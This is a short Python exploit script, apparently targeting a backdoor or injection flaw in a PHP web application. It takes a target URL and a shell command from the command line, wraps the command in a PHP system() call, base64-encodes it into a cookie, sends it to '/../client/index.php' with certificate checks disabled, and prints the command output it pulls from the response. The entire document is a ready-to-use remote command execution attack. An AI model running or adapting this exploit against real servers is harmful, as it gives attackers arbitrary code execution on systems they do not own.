import requests
import re
import sys
import base64
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

cmd = 'system("' + sys.argv[2] + '");'
message_bytes = cmd.encode('ascii')
payload = base64.b64encode(message_bytes)
cookies_dict = {'ab':'ab', 'c':str(payload.decode('utf-8')), 'd':'', 'e':''}

url1 = sys.argv[1] + '/../client/index.php'
response = requests.get(url1, cookies=cookies_dict, verify = False)

result = re.search('<c123>(.*)</c123>', str(response.content))
print(result.group(1).replace('\\n', '\n').replace('\\t', '\t'))